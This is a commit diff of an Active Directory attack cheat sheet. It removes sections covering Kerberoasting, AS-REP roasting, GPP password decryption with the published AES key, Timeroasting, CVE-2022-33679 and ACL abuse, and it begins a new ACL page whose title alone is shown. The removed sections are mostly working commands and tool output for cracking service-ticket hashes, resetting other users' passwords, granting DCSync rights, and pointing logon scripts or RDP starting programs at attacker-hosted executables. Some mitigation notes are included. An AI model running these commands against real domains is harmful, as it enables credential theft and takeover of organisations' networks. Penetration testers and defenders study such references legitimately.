AD - Pages v0.2
parent
70e5d08eb2
commit
78ce9b4ec5
|
@ -5,13 +5,11 @@
|
|||
- [Active Directory Attacks](#active-directory-attacks)
|
||||
- [Summary](#summary)
|
||||
- [Tools](#tools)
|
||||
- [Kerberos Clock Synchronization](#kerberos-clock-synchronization)
|
||||
- [From CVE to SYSTEM shell on DC](#from-cve-to-system-shell-on-dc)
|
||||
- [MS14-068 Checksum Validation](#ms14-068-checksum-validation)
|
||||
- [ZeroLogon](#zerologon)
|
||||
- [PrintNightmare](#printnightmare)
|
||||
- [samAccountName spoofing](#samaccountname-spoofing)
|
||||
- [Passwords in SYSVOL & Group Policy Preferences](#passwords-in-sysvol-&-group-policy-preferences)
|
||||
- [Dumping AD Domain Credentials](#dumping-ad-domain-credentials)
|
||||
- [DCSync Attack](#dcsync-attack)
|
||||
- [Volume Shadow Copy](#volume-shadow-copy)
|
||||
|
@ -20,11 +18,6 @@
|
|||
- [Crack NTLM hashes with hashcat](#crack-ntlm-hashes-with-hashcat)
|
||||
- [NTDS Reversible Encryption](#ntds-reversible-encryption)
|
||||
- [User Hunting](#user-hunting)
|
||||
- [Kerberoasting](#kerberoasting)
|
||||
- [KRB_AS_REP Roasting](#krb_as_rep-roasting)
|
||||
- [Kerberoasting w/o domain account](#kerberoasting-wo-domain-account)
|
||||
- [CVE-2022-33679](#cve-2022-33679)
|
||||
- [Timeroasting](#timeroasting)
|
||||
- [Pass-the-Hash](#pass-the-hash)
|
||||
- [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
|
||||
- [Using impacket](#using-impacket)
|
||||
|
@ -46,15 +39,6 @@
|
|||
- [Active Directory Federation Services](#active-directory-federation-services)
|
||||
- [ADFS - Golden SAML](#adfs---golden-saml)
|
||||
- [Active Directory Integrated DNS](#active-directory-integrated-dns)
|
||||
- [Abusing Active Directory ACLs/ACEs](#abusing-active-directory-aclsaces)
|
||||
- [GenericAll](#genericall)
|
||||
- [GenericWrite](#genericwrite)
|
||||
- [GenericWrite and Remote Connection Manager](#genericwrite-and-remote-connection-manager)
|
||||
- [WriteDACL](#writedacl)
|
||||
- [WriteOwner](#writeowner)
|
||||
- [ReadLAPSPassword](#readlapspassword)
|
||||
- [ReadGMSAPassword](#readgmsapassword)
|
||||
- [ForceChangePassword](#forcechangepassword)
|
||||
- [Trust relationship between domains](#trust-relationship-between-domains)
|
||||
- [Child Domain to Forest Compromise - SID Hijacking](#child-domain-to-forest-compromise---sid-hijacking)
|
||||
- [Forest to Forest Compromise - Trust Ticket](#forest-to-forest-compromise---trust-ticket)
|
||||
|
@ -160,32 +144,6 @@
|
|||
```
|
||||
|
||||
|
||||
## Kerberos Clock Synchronization
|
||||
|
||||
In Kerberos, time is used to ensure that tickets are valid. To achieve this, the clocks of all Kerberos clients and servers in a realm must be synchronized to within a certain tolerance. The default clock skew tolerance in Kerberos is `5 minutes`, which means that the difference in time between the clocks of any two Kerberos entities should be no more than 5 minutes.
|
||||
|
||||
|
||||
* Detect clock skew automatically with `nmap`
|
||||
```powershell
|
||||
$ nmap -sV -sC 10.10.10.10
|
||||
clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s
|
||||
```
|
||||
* Compute yourself the difference between the clocks
|
||||
```ps1
|
||||
nmap -sT 10.10.10.10 -p445 --script smb2-time -vv
|
||||
```
|
||||
* Fix #1: Modify your clock
|
||||
```ps1
|
||||
sudo date -s "14 APR 2015 18:25:16" # Linux
|
||||
net time /domain /set # Windows
|
||||
```
|
||||
* Fix #2: Fake your clock
|
||||
```ps1
|
||||
faketime -f '+8h' date
|
||||
```
|
||||
|
||||
|
||||
|
||||
## From CVE to SYSTEM shell on DC
|
||||
|
||||
> Sometimes you will find a Domain Controller without the latest patches installed, use the newest CVE to gain a SYSTEM shell on it. If you have a "normal user" shell on the DC you can also try to elevate your privileges using one of the methods listed in [Windows - Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
|
||||
|
@ -582,58 +540,6 @@ Automated exploitation:
|
|||
* [KB5008380](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)
|
||||
|
||||
|
||||
## Passwords in SYSVOL & Group Policy Preferences
|
||||
|
||||
Find password in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: `\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.
|
||||
|
||||
```powershell
|
||||
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
|
||||
```
|
||||
|
||||
Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx)
|
||||
|
||||
```bash
|
||||
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
|
||||
|
||||
e.g:
|
||||
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
|
||||
|
||||
echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
|
||||
```
|
||||
|
||||
### Automate the SYSVOL and passwords research
|
||||
|
||||
* `Metasploit` modules to enumerate shares and credentials
|
||||
```c
|
||||
scanner/smb/smb_enumshares
|
||||
post/windows/gather/enum_shares
|
||||
post/windows/gather/credentials/gpp
|
||||
```
|
||||
|
||||
* CrackMapExec modules
|
||||
```powershell
|
||||
cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_autologin
|
||||
cme smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_password
|
||||
```
|
||||
|
||||
* [Get-GPPPassword](https://github.com/SecureAuthCorp/impacket/blob/master/examples/Get-GPPPassword.py)
|
||||
```powershell
|
||||
# with a NULL session
|
||||
Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'
|
||||
|
||||
# with cleartext credentials
|
||||
Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
|
||||
|
||||
# pass-the-hash
|
||||
Get-GPPPassword.py -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
|
||||
```
|
||||
|
||||
### Mitigations
|
||||
|
||||
* Install [KB2962486](https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/ms14-025) on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
|
||||
* Delete existing GPP xml files in SYSVOL containing passwords.
|
||||
* Don’t put passwords in files that are accessible by all authenticated users.
|
||||
|
||||
|
||||
## Dumping AD Domain Credentials
|
||||
|
||||
|
@ -788,200 +694,6 @@ You can remotely query every machines on the network to get a list of the users'
|
|||
```
|
||||
|
||||
|
||||
|
||||
## Kerberoasting
|
||||
|
||||
> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names)
|
||||
|
||||
Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.
|
||||
|
||||
|
||||
* [GetUserSPNs](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py) from Impacket Suite
|
||||
```powershell
|
||||
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
|
||||
|
||||
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
|
||||
|
||||
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
|
||||
-------------------- ------------- -------------------------------------------------------- ------------------- -------------------
|
||||
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40 2018-12-03 17:11:11
|
||||
|
||||
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43[...]84fd2
|
||||
```
|
||||
|
||||
* CrackMapExec Module
|
||||
```powershell
|
||||
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --kerberoast output.txt
|
||||
LDAP 10.0.2.11 389 dc01 [*] Windows 10.0 Build 17763 x64 (name:dc01) (domain:lab.local) (signing:True) (SMBv1:False)
|
||||
LDAP 10.0.2.11 389 dc01 $krb5tgs$23$*john.doe$lab.local$MSSQLSvc/dc01.lab.local~1433*$efea32[...]49a5e82$b28fc61[...]f800f6dcd259ea1fca8f9
|
||||
```
|
||||
|
||||
* [Rubeus](https://github.com/GhostPack/Rubeus)
|
||||
```powershell
|
||||
# Stats
|
||||
Rubeus.exe kerberoast /stats
|
||||
------------------------------------- ----------------------------------
|
||||
| Supported Encryption Type | Count | | Password Last Set Year | Count |
|
||||
------------------------------------- ----------------------------------
|
||||
| RC4_HMAC_DEFAULT | 1 | | 2021 | 1 |
|
||||
------------------------------------- ----------------------------------
|
||||
|
||||
# Kerberoast (RC4 ticket)
|
||||
Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt
|
||||
|
||||
# Kerberoast (AES ticket)
|
||||
# Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested.
|
||||
Rubeus.exe kerberoast /tgtdeleg
|
||||
|
||||
# Kerberoast (RC4 ticket)
|
||||
# The tgtdeleg trick is used, and accounts without AES enabled are enumerated and roasted.
|
||||
Rubeus.exe kerberoast /rc4opsec
|
||||
```
|
||||
|
||||
* [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)
|
||||
```powershell
|
||||
Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
|
||||
```
|
||||
|
||||
* [bifrost](https://github.com/its-a-feature/bifrost) on **macOS** machine
|
||||
```powershell
|
||||
./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true
|
||||
```
|
||||
|
||||
* [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast)
|
||||
```powershell
|
||||
# for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute),
|
||||
# print the "kerberoast" hash, and delete the temporary SPN set for that operation
|
||||
targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
|
||||
```
|
||||
|
||||
|
||||
Then crack the ticket using the correct hashcat mode (`$krb5tgs$23`= `etype 23`)
|
||||
|
||||
| Mode | Description |
|
||||
|---------|--------------|
|
||||
| `13100` | Kerberos 5 TGS-REP etype 23 (RC4) |
|
||||
| `19600` | Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96) |
|
||||
| `19700` | Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96) |
|
||||
|
||||
```powershell
|
||||
./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
|
||||
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt
|
||||
```
|
||||
|
||||
|
||||
Mitigations:
|
||||
* Have a very long password for your accounts with SPNs (> 32 characters)
|
||||
* Make sure no users have SPNs
|
||||
|
||||
## KRB_AS_REP Roasting
|
||||
|
||||
> If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting
|
||||
|
||||
**Requirements**:
|
||||
- Accounts with the attribute **DONT_REQ_PREAUTH** (`PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose`)
|
||||
|
||||
* [Rubeus](https://github.com/GhostPack/Rubeus)
|
||||
```powershell
|
||||
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast
|
||||
[*] Action: AS-REP roasting
|
||||
[*] Target User : TestOU3user
|
||||
[*] Target Domain : testlab.local
|
||||
[*] SamAccountName : TestOU3user
|
||||
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
|
||||
[*] Using domain controller: testlab.local (192.168.52.100)
|
||||
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
|
||||
[*] Connecting to 192.168.52.100:88
|
||||
[*] Sent 169 bytes
|
||||
[*] Received 1437 bytes
|
||||
[+] AS-REQ w/o preauth successful!
|
||||
[*] AS-REP hash:
|
||||
|
||||
$krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...
|
||||
```
|
||||
|
||||
* [GetNPUsers](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py) from Impacket Suite
|
||||
```powershell
|
||||
$ python GetNPUsers.py htb.local/svc-alfresco -no-pass
|
||||
[*] Getting TGT for svc-alfresco
|
||||
$krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7a[...]e776b4
|
||||
|
||||
# extract hashes
|
||||
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
|
||||
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
|
||||
```
|
||||
|
||||
* CrackMapExec Module
|
||||
```powershell
|
||||
$ crackmapexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --asreproast output.txt
|
||||
LDAP 10.0.2.11 389 dc01 $krb5asrep$23$john.doe@LAB.LOCAL:5d1f750[...]2a6270d7$096fc87726c64e545acd4687faf780[...]13ea567d5
|
||||
```
|
||||
|
||||
Using `hashcat` or `john` to crack the ticket.
|
||||
|
||||
```powershell
|
||||
# crack AS_REP messages with hashcat
|
||||
root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
|
||||
root@windows:hashcat$ hashcat64.exe -m 18200 '<AS_REP-hash>' -a 0 c:\wordlists\rockyou.txt
|
||||
|
||||
# crack AS_REP messages with john
|
||||
C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproast
|
||||
```
|
||||
|
||||
**Mitigations**:
|
||||
* All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
|
||||
|
||||
|
||||
## Kerberoasting w/o domain account
|
||||
|
||||
> In September 2022 a vulnerability was discovered by [Charlie Clark](https://exploit.ph/), ST (Service Tickets) can be obtained through KRB_AS_REQ request without having to control any Active Directory account. If a principal can authenticate without pre-authentication (like AS-REP Roasting attack), it is possible to use it to launch an **KRB_AS_REQ** request and trick the request to ask for a **ST** instead of a **encrypted TGT**, by modifying the **sname** attribute in the req-body part of the request.
|
||||
|
||||
The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
|
||||
|
||||
:warning: You must provide a list of users because we don't have a valid account to query the LDAP using this technique.
|
||||
|
||||
* [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413)
|
||||
```powershell
|
||||
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
|
||||
```
|
||||
* [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139)
|
||||
```powershell
|
||||
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
|
||||
```
|
||||
|
||||
|
||||
## CVE-2022-33679
|
||||
|
||||
> CVE-2022-33679 performs an encryption downgrade attack by forcing the KDC to use the RC4-MD4 algorithm and then brute forcing the session key from the AS-REP using a known plaintext attack, Similar to AS-REP Roasting, it works against accounts that have pre-authentication disabled and the attack is unauthenticated meaning we don’t need a client’s password..
|
||||
|
||||
Research from Project Zero : https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html
|
||||
|
||||
**Requirements**:
|
||||
- Accounts with the attribute **DONT_REQ_PREAUTH** (`PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose`)
|
||||
|
||||
* using [CVE-2022-33679.py](https://github.com/Bdenneu/CVE-2022-33679)
|
||||
```bash
|
||||
user@hostname:~$ python CVE-2022-33679.py DOMAIN.LOCAL/User DC01.DOMAIN.LOCAL
|
||||
user@hostname:~$ export KRB5CCNAME=/home/project/User.ccache
|
||||
user@hostname:~$ crackmapexec smb DC01.DOMAIN.LOCAL -k --shares
|
||||
```
|
||||
|
||||
**Mitigations**:
|
||||
* All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default).
|
||||
* Disable RC4 cipher if possible.
|
||||
|
||||
|
||||
## Timeroasting
|
||||
|
||||
> Timeroasting takes advantage of Windows' NTP authentication mechanism, allowing unauthenticated attackers to effectively request a password hash of any computer account by sending an NTP request with that account's RID
|
||||
|
||||
* [SecuraBV/Timeroast](https://github.com/SecuraBV/Timeroast) - Timeroasting scripts by Tom Tervoort
|
||||
```ps1
|
||||
sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
|
||||
hashcat -m 31300 ntp-hashes.txt
|
||||
```
|
||||
|
||||
|
||||
## Pass-the-Hash
|
||||
|
||||
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.
|
||||
|
@ -1561,213 +1273,6 @@ Invoke-Inveigh -ConsoleOutput Y -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3 -LL
|
|||
```
|
||||
|
||||
|
||||
## Abusing Active Directory ACLs/ACEs
|
||||
|
||||
Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner).
|
||||
|
||||
```powershell
|
||||
ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
|
||||
```
|
||||
|
||||
### GenericAll
|
||||
|
||||
* **GenericAll on User** : We can reset user's password without knowing the current password
|
||||
* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user hacker) to the Domain Admin group :
|
||||
* On Windows : `net group "domain admins" hacker /add /domain`
|
||||
* On Linux:
|
||||
* using the Samba software suite :
|
||||
`net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]`
|
||||
* using bloodyAD:
|
||||
`bloodyAD.py --host [DC IP] -d DOMAIN -u hacker -p MyPassword123 addObjectToGroup UserToAdd 'GROUP NAME'`
|
||||
|
||||
* **GenericAll/GenericWrite** : We can set a **SPN** on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it.
|
||||
```powershell
|
||||
# Check for interesting permissions on accounts:
|
||||
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
|
||||
|
||||
# Check if current user has already an SPN setted:
|
||||
PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname
|
||||
|
||||
# Force set the SPN on the account: Targeted Kerberoasting
|
||||
PowerView2 > Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
|
||||
PowerView3 > Set-DomainObject -Identity <UserName> -Set @{serviceprincipalname='any/thing'}
|
||||
|
||||
# Grab the ticket
|
||||
PowerView2 > $User = Get-DomainUser username
|
||||
PowerView2 > $User | Get-DomainSPNTicket | fl
|
||||
PowerView2 > $User | Select serviceprincipalname
|
||||
|
||||
# Remove the SPN
|
||||
PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname
|
||||
```
|
||||
|
||||
* **GenericAll/GenericWrite** : We can change a victim's **userAccountControl** to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.
|
||||
* On Windows:
|
||||
```powershell
|
||||
# Modify the userAccountControl
|
||||
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
|
||||
PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
|
||||
|
||||
# Grab the ticket
|
||||
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
|
||||
ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username
|
||||
|
||||
# Set back the userAccountControl
|
||||
PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
|
||||
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
|
||||
```
|
||||
* On Linux:
|
||||
```bash
|
||||
# Modify the userAccountControl
|
||||
$ bloodyAD.py --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] setUserAccountControl [Target_User] 0x400000 True
|
||||
|
||||
# Grab the ticket
|
||||
$ GetNPUsers.py DOMAIN/target_user -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
|
||||
|
||||
# Set back the userAccountControl
|
||||
$ bloodyAD.py --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] setUserAccountControl [Target_User] 0x400000 False
|
||||
```
|
||||
|
||||
|
||||
### GenericWrite
|
||||
|
||||
* Reset another user's password
|
||||
* On Windows:
|
||||
```powershell
|
||||
# https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
|
||||
$user = 'DOMAIN\user1';
|
||||
$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force;
|
||||
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
|
||||
$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force;
|
||||
Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
|
||||
```
|
||||
* On Linux:
|
||||
```bash
|
||||
# Using rpcclient from the Samba software suite
|
||||
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
|
||||
|
||||
# Using bloodyAD with pass-the-hash
|
||||
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
|
||||
```
|
||||
|
||||
* WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : `Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1`
|
||||
|
||||
#### GenericWrite and Remote Connection Manager
|
||||
|
||||
> Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.
|
||||
>
|
||||
> This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/
|
||||
|
||||
:warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.
|
||||
|
||||
```powershell
|
||||
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
|
||||
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
|
||||
$UserObject.TerminalServicesWorkDirectory = "C:\"
|
||||
$UserObject.SetInfo()
|
||||
```
|
||||
|
||||
NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.
|
||||
|
||||
### WriteDACL
|
||||
|
||||
To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn) is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : `./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'`
|
||||
|
||||
* WriteDACL on Domain:
|
||||
* On Windows:
|
||||
```powershell
|
||||
# Give DCSync right to the principal identity
|
||||
Import-Module .\PowerView.ps1
|
||||
$SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
|
||||
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
|
||||
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local
|
||||
```
|
||||
* On Linux:
|
||||
```bash
|
||||
# Give DCSync right to the principal identity
|
||||
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2
|
||||
|
||||
# Remove right after DCSync
|
||||
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2 False
|
||||
```
|
||||
|
||||
* WriteDACL on Group
|
||||
```powershell
|
||||
Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1
|
||||
net group "INTERESTING_GROUP" User1 /add /domain
|
||||
```
|
||||
Or
|
||||
```powershell
|
||||
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp
|
||||
|
||||
# Remove right
|
||||
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp False
|
||||
```
|
||||
|
||||
### WriteOwner
|
||||
|
||||
An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).
|
||||
|
||||
```powershell
|
||||
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
|
||||
```
|
||||
Or
|
||||
```powershell
|
||||
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setOwner devil_user1 target_object
|
||||
```
|
||||
|
||||
This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.
|
||||
|
||||
|
||||
### ReadLAPSPassword
|
||||
|
||||
An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the [Reading LAPS Password](#reading-laps-password) section.
|
||||
|
||||
```powershell
|
||||
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
|
||||
```
|
||||
Or for a given computer
|
||||
```powershell
|
||||
bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes LAPS_PC$ ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
|
||||
```
|
||||
|
||||
|
||||
### ReadGMSAPassword
|
||||
|
||||
An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.
|
||||
|
||||
```powershell
|
||||
# Save the blob to a variable
|
||||
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
|
||||
$mp = $gmsa.'msDS-ManagedPassword'
|
||||
|
||||
# Decode the data structure using the DSInternals module
|
||||
ConvertFrom-ADManagedPasswordBlob $mp
|
||||
```
|
||||
Or
|
||||
```powershell
|
||||
python bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes gmsaAccount$ msDS-ManagedPassword
|
||||
```
|
||||
|
||||
### ForceChangePassword
|
||||
|
||||
An attacker can change the password of the user this ACE applies to:
|
||||
* On Windows, this can be achieved with `Set-DomainUserPassword` (PowerView module):
|
||||
```powershell
|
||||
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
||||
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
|
||||
```
|
||||
|
||||
* On Linux:
|
||||
```bash
|
||||
# Using rpcclient from the Samba software suite
|
||||
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
|
||||
|
||||
# Using bloodyAD with pass-the-hash
|
||||
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
|
||||
```
|
||||
|
||||
|
||||
## Trust relationship between domains
|
||||
|
||||
* One-way
|
||||
|
|
|
@ -0,0 +1,205 @@
|
|||
# Active Directory ACLs/ACEs
|
||||
|
||||
